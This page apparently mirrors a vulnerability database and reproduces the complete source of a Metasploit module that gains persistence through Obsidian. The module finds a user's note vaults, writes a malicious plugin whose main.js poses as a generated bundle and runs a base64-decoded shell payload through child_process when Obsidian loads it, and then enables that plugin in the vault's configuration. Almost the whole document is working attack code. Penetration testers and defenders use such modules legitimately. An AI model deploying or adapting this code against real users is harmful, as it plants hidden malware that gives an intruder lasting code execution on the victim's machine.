METASPLOIT

Obsidian Plugin Persistence_MSF:EXPLOIT-MULTI-PERSISTENCE-OBSIDIAN_PLUGIN-

Description

This module searches for Obsidian vaults for a user, and uploads a malicious community plugin to the vault. The vaults must be opened with community ...
Visit Original Source

Basic Information

ID MSF:EXPLOIT-MULTI-PERSISTENCE-OBSIDIAN_PLUGIN-
Published Sep 16, 2025 at 18:53

Affected Product

Affected Versions ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Post::Unix # whoami
include Msf::Auxiliary::Report
include Msf::Exploit::Local::Persistence
include Msf::Exploit::Deprecated
moved_from 'exploits/multi/local/obsidian_plugin_persistence'

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Obsidian Plugin Persistence',
'Description' => %q{
This module searches for Obsidian vaults for a user, and uploads a malicious
community plugin to the vault. The vaults must be opened with community
plugins enabled (NOT restricted mode), but the plugin will be enabled
automatically.

Tested against Obsidian 1.7.7 on Kali, Ubuntu 22.04, and Windows 10.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # Module
'Thomas Byrne' # Research, PoC
],
'DisclosureDate' => '2022-09-16',
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Privileged' => false,
'References' => [
[ 'URL', 'https://docs.obsidian.md/Plugins/Getting+started/Build+a+plugin' ],
[ 'URL', 'https://github.com/obsidianmd/obsidian-sample-plugin/tree/master' ],
[ 'URL', 'https://forum.obsidian.md/t/can-obsidian-plugins-have-malware/34491' ],
[ 'URL', 'https://help.obsidian.md/Extending+Obsidian/Plugin+security' ],
[ 'URL', 'https://thomas-byrne.co.uk/research/obsidian-malicious-plugins/obsidian-research/' ]
],
'Arch' => [ARCH_CMD],
'Platform' => %w[osx linux windows],
'DefaultOptions' => {
'PrependMigrate' => true
},
'Payload' => {
'BadChars' => '"'
},
'Targets' => [
['Auto', {} ],
['Linux', { 'Platform' => 'unix' } ],
['OSX', { 'Platform' => 'osx' } ],
['Windows', { 'Platform' => 'windows' } ],
],
'Notes' => {
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ]
},
'DefaultTarget' => 0
)
)

register_options([
OptString.new('NAME', [ false, 'Name of the plugin', '' ]),
OptString.new('USER', [ false, 'User to target, or current user if blank', '' ]),
OptString.new('CONFIG', [ false, 'Config file location on target', '' ]),
])
deregister_options('WritableDir')
end

def plugin_name
return datastore['NAME'] unless datastore['NAME'].blank?

rand_text_alphanumeric(4..10)
end

def find_vaults
vaults_found = []
user = target_user
vprint_status("Target User: #{user}")
case session.platform
when 'windows', 'win'
config_files = ["C:\\Users\\#{user}\\AppData\\Roaming\\obsidian\\obsidian.json"]
when 'osx'
config_files = ["/User/#{user}/Library/Application Support/obsidian/obsidian.json"]
when 'linux'
config_files = [
"/home/#{user}/.config/obsidian/obsidian.json",
"/home/#{user}/snap/obsidian/40/.config/obsidian/obsidian.json"
] # snap package
end

config_files << datastore['CONFIG'] unless datastore['CONFIG'].empty?

config_files.each do |config_file|
next unless file?(config_file)

vprint_status("Found user obsidian file: #{config_file}")
config_contents = read_file(config_file)
return fail_with(Failure::Unknown, 'Failed to read config file') if config_contents.nil?

begin
vaults = JSON.parse(config_contents)
rescue JSON::ParserError
vprint_error("Failed to parse JSON from #{config_file}")
next
end

vaults_found = vaults['vaults']
if vaults_found.nil?
vprint_error("No vaults found in #{config_file}")
next
end

vaults['vaults'].each do |k, v|
if v['open']
print_good("Found #{v['open'] ? 'open' : 'closed'} vault #{k}: #{v['path']}")
else
print_status("Found #{v['open'] ? 'open' : 'closed'} vault #{k}: #{v['path']}")
end
end
end

vaults_found
end

def manifest_js(plugin_name)
JSON.pretty_generate({
'id' => plugin_name.gsub(' ', '_'),
'name' => plugin_name,
'version' => '1.0.0',
'minAppVersion' => '0.15.0',
'description' => '',
'author' => 'Obsidian',
'authorUrl' => 'https://obsidian.md',
'isDesktopOnly' => false
})
end

def main_js(_plugin_name)
if ['windows', 'win'].include? session.platform
payload_stub = payload.encoded.to_s
else
payload_stub = "echo \\\"#{Rex::Text.encode_base64(payload.encoded)}\\\" | base64 -d | /bin/sh"
end
%%
/*
THIS IS A GENERATED/BUNDLED FILE BY ESBUILD
if you want to view the source, please visit the github repository of this plugin
*/

var __defProp = Object.defineProperty;
var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
var __getOwnPropNames = Object.getOwnPropertyNames;
var __hasOwnProp = Object.prototype.hasOwnProperty;
var __export = (target, all) => {
for (var name in all)
__defProp(target, name, { get: all[name], enumerable: true });
};
var __copyProps = (to, from, except, desc) => {
if (from && typeof from === "object" || typeof from === "function") {
for (let key of __getOwnPropNames(from))
if (!__hasOwnProp.call(to, key) && key !== except)
__defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
}
return to;
};
var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);

// main.ts
var main_exports = {};
__export(main_exports, {
default: () => ExamplePlugin
});
module.exports = __toCommonJS(main_exports);
var import_obsidian = require("obsidian");
var ExamplePlugin = class extends import_obsidian.Plugin {
async onload() {
var command = "#{payload_stub}";
const { exec } = require("child_process");
exec(command, (error, stdout, stderr) => {
if (error) {
console.log(`error: ${error.message}`);
return;
}
if (stderr) {
console.log(`stderr: ${stderr}`);
return;
}
console.log(`stdout: ${stdout}`);
});
}
async onunload() {
}
};
%
end

def target_user
return datastore['USER'] unless datastore['USER'].blank?

return cmd_exec('cmd.exe /c echo %USERNAME%').strip if ['windows', 'win'].include? session.platform

whoami
end

def check
return CheckCode::Appears('Vaults found') unless find_vaults.empty?

CheckCode::Safe('No vaults found')
end

def install_persistence
plugin = plugin_name
print_status("Using plugin name: #{plugin}")
vaults = find_vaults
fail_with(Failure::NotFound, 'No vaults found') if vaults.empty?
vaults.each_value do |vault|
print_status("Uploading plugin to vault #{vault['path']}")
# avoid mkdir function because that registers it for delete, and we don't want that for
# persistent modules
if ['windows', 'win'].include? session.platform
cmd_exec("cmd.exe /c md \"#{vault['path']}\\.obsidian\\plugins\\#{plugin}\"")
else
cmd_exec("mkdir -p '#{vault['path']}/.obsidian/plugins/#{plugin}/'")
end
vprint_status("Uploading: #{vault['path']}/.obsidian/plugins/#{plugin}/main.js")
write_file("#{vault['path']}/.obsidian/plugins/#{plugin}/main.js", main_js(plugin))
@clean_up_rc << "rm #{vault['path']}/.obsidian/plugins/#{plugin}/main.js\n"

vprint_status("Uploading: #{vault['path']}/.obsidian/plugins/#{plugin}/manifest.json")
write_file("#{vault['path']}/.obsidian/plugins/#{plugin}/manifest.json", manifest_js(plugin))
@clean_up_rc << "rm #{vault['path']}/.obsidian/plugins/#{plugin}/manifest.json\n"
# read in the enabled community plugins, and add ours to the enabled list
if file?("#{vault['path']}/.obsidian/community-plugins.json")
plugins = read_file("#{vault['path']}/.obsidian/community-plugins.json")
begin
plugins = JSON.parse(plugins)
vprint_status("Found #{plugins.length} enabled community plugins (#{plugins.join(', ')})")
path = store_loot('obsidian.community.plugins.json', 'text/plain', session, plugins, nil, nil)
print_good("Config file saved in: #{path}")
@clean_up_rc << "upload #{path} #{vault['path']}/.obsidian/community-plugins.json\n"
rescue JSON::ParserError
plugins = []
end

plugins << plugin unless plugins.include?(plugin)
else
plugins = [plugin]
end
vprint_status("adding #{plugin} to the enabled community plugins list")
write_file("#{vault['path']}/.obsidian/community-plugins.json", JSON.pretty_generate(plugins))
print_good('Plugin enabled, waiting for Obsidian to open the vault and execute the plugin.')
end
end
end

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.